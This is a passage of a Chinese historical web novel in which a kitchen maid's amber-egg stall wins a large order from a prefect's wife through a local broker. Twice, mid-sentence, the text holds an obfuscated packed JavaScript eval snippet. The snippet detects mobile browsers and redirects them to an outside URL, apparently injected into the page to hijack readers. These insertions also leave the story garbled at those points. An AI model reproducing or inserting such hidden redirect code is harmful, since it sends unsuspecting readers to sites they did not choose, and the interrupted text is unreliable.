又四下打听了好一阵，方才问明白。原来卖琥珀蛋的竟是一群半大孩子，不到巳时就卖完收摊。眼下这都未时了，哪里还寻得见人影？好在有个相熟的摊贩说，她们日日都来此地摆摊，叫他明日赶早来候着，又特地嘱咐说那胡小娘子说了，每日只得那么多，去晚了可抢不着。 贾经纪得了准信，一溜小跑回去报与家丁。 家丁听完却是犯了愁。本以为是个轻省差事，这才抢着揽下来，指望在主子跟前讨个好。谁知这般周折？大娘子后日一早就要回州府，若是明日抢不着，岂不是自讨没趣？ 贾经纪忙拍胸脯保证，明儿一早他就守在这里，只等那胡小娘子一来，就把所有琥珀蛋都包圆儿。到时候，连人带东西一齐送到府上去。 家丁这才转忧为喜，将知州大娘子娘家的住处说与他，又许下承诺。 “只要事情办得漂亮，定在大娘子跟前替你多美言几句。” 贾经纪连声道谢，喜滋滋地送他走了。 第二天一早，还没到卯时，胡姣就来了大厨房。 天亮的早，她也醒得早，在家里左右也是无事，倒不如早点来，还能给管事娘子留个好印象。 况且，近来白日渐长，府里用早食的时间也提前了，往常都是辰时各房的人才开始来拿饭，现在几乎不到辰初就全部拿完了。 前几天，林大娘晚来一刻钟，揉面的时候便偷懒少揉了几下。后来陈老娘还特意让小丫头来找她，说那天的馒头不够劲道，把她老脸臊得通红。 这还是管事娘子呢，耽误了事儿，照样没脸。所以，胡姣宁可早些来。反正，中午没事的时候，也能家去歇息。 刚烧完两锅水，其他人就陆陆续续都来了。 翠姐儿困得捂着嘴直打哈欠，还忍不住要凑过来和她咬耳朵。 “昨儿你给的爆鱼，我拿了回去，谁知鲍娘子来瞧见了，搛了几筷子，直夸做得入味儿。” “问我是哪儿买的，我没敢说是你做的，只推说是在南市口，从一个走街串巷的大娘手里买的。” 胡姣投去感激的一瞥。她会厨艺的事，鲍娘子虽略知一二，却不清楚底细。一来她不愿过早显露本事，平日只做些粗浅活计；二来鲍娘子做大菜时，她从不往前凑，毕竟她早同翠姐儿说了，不想争灶房娘子的位子，怕瓜田李下的说不清楚。 因此翠姐儿、喜姐儿都晓得她的心思，平日里也常替她遮掩。 说话间，蒸笼里已冒出腾腾热气，早食俱已备齐，一样样在笼里温着。 “姐姐们好，我来取二姑娘院里的饭。” 胡姣一抬头就看见金桂提着三个大食盒站在门口。 喜姐儿手脚利索，把她要的东西都捡了出来，只是装好了却不太好拿。 只见金桂一手一个，已经沉得往下坠了，剩下那个怎么看都拿不走。没法子，喜姐儿只好让她先拿两个食盒走，等下再来拿另一个。 瞧见她走了，胡姣忍不住问旁边的翠姐儿。 “往常不都两个小丫头来拿饭吗？怎么今天就她一个？” 喜姐儿也纳闷呢。 翠姐儿睨了她俩一眼：“你们别觉得她可怜，我可听说了，这金桂不是个省油的灯。” 两个吃瓜群众投来疑惑的目光。 翠姐儿这才娓娓道来。 金桂是三房送过去的，自然不被二姑娘院里的人待见，安排做些粗苯活计也是常事。便是偶尔叫院里的姐姐欺负了，也只有忍着。可话又说回来了，谁刚当差的时候没吃过亏呢。 新人嘛，多做点活儿也不全是坏事。若实在不愿，大不了撕破脸明说就是。可她万不该前头答应的好好的，转眼就在外人跟前上眼药，弄得二姑娘都没脸。 有一回，大哥儿来二姑娘院里，瞧见她一个人在廊下剥栗子，剥的十个指头都是血，唬了一跳。问她怎么回事，她说是蕊儿姐姐让剥的，要给姑娘做栗粉糕。 大哥儿是个天真烂漫的性子，一听这话火气就上来了，忙让她别剥了，又拉着她去找二姑娘说理，怪二姑娘不该糟践人。 二姑娘气得不行，她是说过大厨房的栗粉糕不够粉，让蕊儿另拿钱买些好栗子来，可没让金桂空着手剥栗子，以至于弄成这样，平白在弟弟面前丢了脸。立刻让人叫了蕊儿来，狠狠罚了一通。 金桂还假意求情，直说是自己手笨，不怪蕊儿姐姐。倒让大哥儿更高看她一眼，就连二姑娘都赏了她一对耳坠子，说给她压惊。 打那以后，蕊儿再不敢使唤金桂做事。周妈妈虽说仍不待见她，可大面儿上总还过得去，该有的赏也再没落下过她。 胡姣这才恍然大悟，为啥这段时间金桂隔三差五就有东西带回来，或是一碗好菜，或是几朵头花，甚至还有一块颜色鲜亮的尺头。 金桂娘藏不住事，总爱在外面显摆。胡姣还奇怪呢，按说二房和三房的关系，金桂即便不被欺负，也不至于得了赏识，原来中间还有这么一段故事。 只是她还是不明白，明明金桂是个不爱说话甚至有些木讷的性子，去了二姑娘院里没多久，倒像是换了个人似得。 喜姐儿又问道：“那今儿是怎么回事？怎的全院子的饭食都叫她一个人来取？” 翠姐儿一脸恨铁不成钢。 “你还没听明白？不过是她故技重施装可怜，天知道哪个傻子又要倒霉了。” 南市口。 “小哥儿、小娘子，你们可是卖琥珀蛋的胡家姐弟？” 豆哥儿、春儿刚到地方，还没来得及将摊子支开，就看见有个穿着青灰色交领袍子，头上裹着纱巾的中年人迎了上来。 豆哥儿见他是个生面孔，也不急着应答，反而问道：“大叔，你可是要买琥珀蛋？” 来人正是贾经纪。他五更天便来此蹲守，生怕来迟一步买不到。 “你这蛋怎么卖的？” 贾经纪一早就候在这儿，连早食都没顾上吃，此刻早就饿得前胸贴后背。心想这琥珀蛋既然是知州大娘子都赞的，想必味道差不了，若是不贵，他也买两个尝尝。 “原价四文一个，这两日正好有优惠，只卖三文一个，买三个还送一个。” 豆哥儿把昨天的价钱报了一遍。 “什么！一个蛋而已，居然要四文钱？金子做的不成？” 贾经纪一听差点跳起来。他平日里帮闲跑腿，一趟也才拿五六个钱的牙钱。还不够买两个蛋呢！ 春儿见他嫌贵，双手一叉腰，学着孙阿嫂平时的口气道：“物以稀为贵，你懂不懂？整个泰和县你还能找出第二家卖琥珀蛋的么？就这还天天不够卖呢！” 被一个黄毛丫头说教了，贾经纪脸上有些挂不住。 豆哥儿到底机灵， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338737|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连忙取出一枚琥珀蛋，利落地切开分成小块，递过一根竹签，请贾经纪先试吃。 贾经纪接过竹签子，尝了两块。确实不错，咸香咸香的，还有股子说不上来的清新。怪不得知州大娘子都要买了送人呢。就是价钱忒贵。不过，横竖不是他当这个冤大头，他只管牵线搭桥就行。 于是堆起满脸笑意，对着二人道：“小哥儿、小娘子，你们今儿可是走运了，有个大买主喜吃你家的蛋，要全部包圆儿呢，你这里不论多少，都留与他，价钱就按你说的来，一文钱都不少你的。” 他满心以为这话一出，两个小娃娃定会欢喜得不知如何是好，谁知对方竟一声不吭。 贾经纪急了：“这真是天大的好事！实话说与你们，买主是位官家夫人，不差钱的！你们一口气全卖完了，不比在这儿晒太阳强？” 可任凭他怎么说，豆哥儿和春儿始终不松口。最后没法子，豆哥儿才老实交代：“这琥珀蛋是我姐姐做的，卖不卖得先问过她才行。” 贾经纪这才晓得，眼前的女娃并非“胡小娘子”，心里暗怪这两个孩子不早说，又忙不迭地催豆哥儿快去找他姐姐来商量。 豆哥儿心知这是桩大买卖，便把摊子交给春儿，又托旁边相熟的大娘照应着，自己一溜小跑往回赶。 到了大厨房，他悄悄喊出胡姣，三言两语将事情说个明白。 “豆哥儿，你做得好。咱们既然答应了要做三天优惠，就得言而有信。” 胡姣揉揉他的头发，鼓励道。 “可是，那一桩生意怎么办？”豆哥儿有些担忧，毕竟这样大手笔的买家可不常有。 胡姣让他别担心，她自有办法。 于是，随即和张婆子说一声，有事要出去一会儿，晚食前肯定回来。张婆子受过她不少孝敬，胡姣又和她干女儿喜姐儿好得跟一个人似的，自然睁一只眼闭一只眼。 正当贾经纪等得心焦，不住伸颈张望时，胡姣和豆哥儿终于姗姗来迟。 他赶紧上前几步道：“胡小娘子，你可来了！” “您怎么称呼？”胡姣面带笑意问道。 “我姓贾，是这县里的一个牙人。” “原来是贾经纪，听说您有一桩生意要谈？” 胡姣见他脸带急色，便也不过多寒暄，直接进入主题。 “正是！昨日有个大主顾要买你家的琥珀蛋，谁承想扑了个空，今儿我特意守在这里，想直接包圆儿的，谁想胡小哥却执意不肯。” 说到这里，贾经纪不禁带上几分抱怨。不为别的，方才等待的这段时间，已经有好些人来买了，他瞧那两背篓的蛋起码下去一半儿，这可让他怎么同买家交差？ 胡姣先温言解释了一番，又告知家中存货仅够这三日优惠售卖，并无多余可供应。 这话一出，贾经纪差点没哭出来。好嘛，合着他跑前跑后两天，全是白忙活啊！ 他不死心，又劝说胡姣可以按四文钱一个的价格收购，便是再贵些也无妨，买主家不差银钱。 胡姣却依旧摇头，只说商人重信，虽然她们姐弟年纪小，可也懂人无信不立的道理。 贾经纪真的无计可施了，正暗自哀叹白折腾一场，却听胡姣话锋一转： “虽然现货没有，但是不代表没办法合作。如果您需要，我可以帮忙腌制一批，按照如今的天气，不出二十天便可食用了。” 贾经纪顿觉柳暗花明，虽然拿不准知州大娘子是否同意，但是为了自己不白跑这一趟，还是决定带她去试一下。便告诉胡姣，买主是知州大娘子，如今回来省亲，就住在前面镇海街杜府。 得知买主竟是知州大娘子，胡姣心下稍安，也不担忧被拐骗。仔细嘱咐豆哥儿与春儿看好摊位，便随贾经纪一路往镇海街方向而去。 35. 第 35 章 “胡小娘子，瞧着你年纪虽小，却是个有成算的……可识得镇海街杜家么？” 路上，贾经纪眼睛在胡姣身上打了个转，状似不经意道。 胡姣穿越来才不过几个月，连陈府的主子、下人都没认全，哪里会知道外面的事，晓得这是贾经纪有意卖弄，便也顺着他的话，说自己不知。 贾经纪先是故作惊讶，接着便为她介绍起来。 原来这杜家本来不算显赫，不过是个普通商户，但侥幸在知州许相公尚未发迹时，便予以资助，后又将女儿杜娘子许配与他。如今许相公官至知州，杜家自然也跟着水涨船高，便是县令也要给几分面子，在泰和县算得上是数一数二的门户。 不过，杜家虽借着女婿的势成了大户，却并不张扬无度。似县里的其他头面人家，如陈家、李家、张家、邱家，多住在文昌街，盖因此地曾出过一位状元，文运昌盛，所以寸土寸金，寻常人家可住不起。就说那陈家，占地三十余亩，前后六进院落，雕梁绣户、金碧辉煌，好不气派。 可想那陈家老太爷不过是个捐官，如今当家的大官人据说也只做到六品，年俸不过百十来贯，若不是祖上基业深厚，哪盖得起这般宅院？所以说，像杜家这般有钱又得势，却仍居在镇海街这等平民坊市的，是十分罕见了。 这贾经纪虽然嘴上讲得条条是道，实则也是昨儿下午才从旁人那儿听来几句。此前他连知州大人姓甚名谁尚且不知，更别说识得杜家大门朝哪开了。如今把杜家夸得花儿一般，也不过是为了往自己脸上贴金，显得他多有门路，能做上这等大户人家的买卖，不是寻常经纪能有的本事。 胡姣知道牙人这一行，最重口才，死的都能说成活的，贾经纪的话最多只能信一半儿。可面上却是不显，仍旧笑眯眯的，听他继续天花乱坠。 说话间，就到了杜宅。 入眼是一丈多高的青砖围墙，墙上覆着灰瓦，门楼高大，飞檐斗拱，两扇漆黑的大门上钉着碗大的铜环。门前石阶已有年头，不甚平整，却十分洁净，两侧各卧着一只石鼓，檐下还悬着两盏羊角灯。 胡姣打眼瞧着，确实和陈府的富贵气象大不相同。 当然，正门可不是他们能进的，贾经纪又领着胡姣走了几步，来到西侧的角门。整了整衣衫，上前扣门。 不多时，一个门房应声开门。贾经纪忙堆起笑脸，让请吴三小哥出来说话，又特意点明是为着知州大娘子采买琥珀蛋一事。 门房进去通传，过了好一会儿，才见家丁吴三出来。 贾经纪赶忙迎上去，将胡姣方才那番话又说了一遍，只是将功劳都揽在自己身上，说是他好说歹说，才劝得这胡小娘子答应特制。 吴三一听还要等二十天，脸色就难看起来。 “贾经纪，你这办的叫什么事！大娘子明日就要动身，你这……这让我怎么回话？” 他自觉差事办得不利索，等了一夜之后竟得了这么个结果，怕是免不了要吃挂落。 贾经纪只得再三赔笑。 “吴小哥，你先别动气，实在是这琥珀蛋制作不易，一时难得。但你想，若是大娘子同意，往后去了州府也能时常吃到，岂会不念着你的功劳？” 吴三虽觉被坑，但事实已然如此，也无法可想，只得硬着头皮进去禀报。 后堂内，知州娘子杜氏正吩咐丫鬟们收拾箱笼，听得丫头转说吴三的回话，心下生出几分不悦。大丫头秋菱剥了一碟子枇杷递与她，她都没心思吃，搁在一边。 要知道，杜娘子自幼最喜枇杷，为此杜老太爷还特意命人从岭南移了一棵果树，种在她院子里，如今已经亭亭如盖，结出的果子又大又甜，连路过的蜂儿都忍不住偷吃。每年五月杜娘子都要回来省亲，其中有一个目的，就是吃这汁甜如蜜的枇杷。 “这个吴三，真是越来越不中用，早晚叫他去庄子上做活，省得在娘子跟前碍眼。” 秋菱知道杜娘子这是真气狠了，不然也不会连最爱的果子都不吃，于是跟着骂了两句。 杜娘子听了，倒是没再说什么。 这吴三本名吴伟业，是许相公的舅家表弟，因家中排行第三，所以诨名就叫个吴三。 吴老舅爷与姐姐自幼相依为命，感情深厚，如今外甥许相公发迹，求到门上来，说这个三子文不成武不就的，让他看在亲戚的份儿上，给他口饭吃，叫他做个跑腿的小厮家丁。亲舅舅这样低声下气，许相公怎好拒绝？收了人，便交给夫人杜娘子安置。 打那起，杜娘子的麻烦就来了。 隔三差五，婆婆许老娘子就把她叫来，车轱辘话说了一堆又一堆，无非是两家是亲戚，不可将吴三真的当做小厮使唤，逼得杜娘子就差指天明誓。 这也罢了，偏这吴三还总爱出风头，什么事情都往身上揽，做不好还在其次，许老娘子知道了又要找杜娘子吃茶说话，简直烦不胜烦。可碍着亲戚的缘故，又不能真的下他脸，更别提打发走了。 因此，秋菱说那话，纯粹是为了宽慰杜娘子，根本没有可行性。 但其实，吴三这回还真的是冤枉，他虽想偷懒，可并没有不尽心，只是赶巧罢了。 见杜娘子脸色好转，秋菱又道：“娘子既爱那琥珀蛋，说是难得的巧思，倒不如见见那人？” 杜娘子想起昨日的滋味，忍不住咽了咽口水。 昨日，她侄儿打发丫头来，说是从市集买来的一件稀奇物，叫做琥珀蛋，送些来孝敬她。 一开始，杜娘子还觉得一个蛋有何稀奇的，只是念着是侄儿送的，心里欢喜，当场便叫切了尝尝。丫头端上来后，才知果然不同。 那蛋金黄剔透，色泽莹润，中间还有微微溏心，瞧着就不错。一入口，更是柔软细腻，咸鲜适宜，满口清香。不知不觉，一碟子琥珀蛋就吃了个光。 秋菱在一旁瞧着，也是眼馋得很。可杜小郎就送了三个，娘子都还意犹未尽，她做丫头的就更别想了。 杜娘子没吃够，又不好意思再问侄儿要，便问送东西来的丫头，是从哪家铺子买的，想着等会儿让人出去买也是一样的。 然而，丫头却只说是市集的一个吃食摊子，具体在哪里她也不晓得。 杜娘子要脸，不愿意再问，显得多馋嘴似的，让秋菱找个小厮悄悄出去打听。又想到府城并没有这等物事，干脆多买些回来，正好带回去送人。 谁知，刚出门就遇上吴三，不但死皮赖脸地喊比他年纪小的秋菱“姐姐”，还非要替大娘子跑这一趟。 秋菱磨不过他，只得交代一番，与了他两吊钱作经费，又叮嘱他若是找不到，可以花几个钱找牙人打听。 吴三满口答应，出了门就想昧下找牙人的钱。不就是市集嘛，还有他吴三爷找不到的东西？ 可两炷香之后，他就泄气了。 这是他第一次来泰和县，人生地不熟的，找个小吃食，无异于大海捞针。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349471|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他找了半天，尽是些曹婆婆茶香蛋、李记蛋包卷、王娘子凤凰蛋、卢氏温韭蛋……可就是没有甚琥珀蛋啊！ 就在他在西街陆家脚店门口盘桓时，贾经纪主动找上门来，说他知道哪里有，还承诺找不到就不收牙钱。 吴三没想到还有这种好事，乐颠颠就跟上走了。 这才有了前面的事儿。 杜娘子沉吟片刻，终究是喜爱占了上风，便道：“既如此，就叫那制琥珀蛋的小娘子进来回话吧。” 胡姣随引路的小丫鬟走进二门，到了小花厅，杜娘子正坐在上首吃茶。胡姣依礼问安。 杜娘子问了几句关于琥珀蛋的做法、时日，胡姣一一据实回答，只说家传秘法，需一定时日浸渍方能风味醇厚。 杜娘子见她年纪虽小，却言语稳妥，心下便有几分喜欢，先前那点子不悦早散了。又听说还可定制别样口味，更觉新奇。 “既如此，便劳你费心。就与你定下一千个，按四文一个的价格。除了原本的口味，紫苏味、薄荷味的也各要一些。” 杜娘子又道：“我先与你一半定金，二十日后，你将蛋送至府上，自然有人与你结清余款。” 胡姣心中暗喜，忙应了下来。 当下便有丫鬟取来两贯钱作为定金，又请了贾经纪作保，立下字据，写明数量、价格与交货日期。 贾经纪因牵线有功，杜娘子也让秋菱给了他两百文做茶汤钱。贾经纪喜出望外，连连作揖道谢。 就连吴三，都难得被夸了几句，杜娘子还叫秋菱赏他两碟子好点心，一碟糖霜玉蜂儿，一碟金乳酥，秋菱又额外多给了他一盏豆儿水，喜得吴三连声叫“好姐姐”。 秋菱白了他两眼，还是这样慌脚虾似的，上不得台面。 出了杜府大门，贾经纪忍不住对胡姣道：“小娘子真是好运道，竟得了知州娘子青眼，可不是比在南市口叫卖强多了。” 胡姣闻弦歌知雅意。虽然觉得这贾经纪太过精明，明明才得了杜家的茶汤钱，转眼就找她吃双份儿，可还是谢过他今日牵线搭桥。 又从杜娘子给的定金里数出二十个钱递给他，笑道：“这点小钱请您吃杯水酒。日后若再有这样的好买卖，还请您多想着我们些。” 贾经纪假意推辞一番，嘴上说着“小娘子太客气了，应该的”，手却早已伸出去接了钱。 脸上的笑容也显得真切了些，连声道：“好说，好说！胡小娘子是个爽利人，往后有生意，定头一个找你！” 回了家，胡姣先把钱藏匣子里，然后爬上凳子，把匣子放到炕旁的桐木柜子最上面。家里没有人，怕被偷了。上次，王管事的儿子来哥儿不就偷摸想来干坏事么？放这里，起码没那么容易被发现。 刚刚放钱的时候，她点了一下，加上之前豆哥儿他们卖吃食的钱，如今已经有足足十五贯啦！这个数，足够一个普通的四口之家置一份不错的家产。泰和县近郊的中等田一亩是两贯钱，如果买五亩就是十贯，剩下的五贯可以在村里请人建一间瓦房。换言之，咱现在也是有房有地了人了。 当然，前提是脱籍赎身。 不过，她冷眼瞧着，梅娘子对下人还是体恤的，这几年陆续有人求恩典，她都没拦着，只是象征性地收了两贯身价钱。 虽然，走的人都不是家生子，可事在人为，也许有一天，就能成事呢？ 想到这里，胡姣整理了一下衣裳，就往大厨房去了。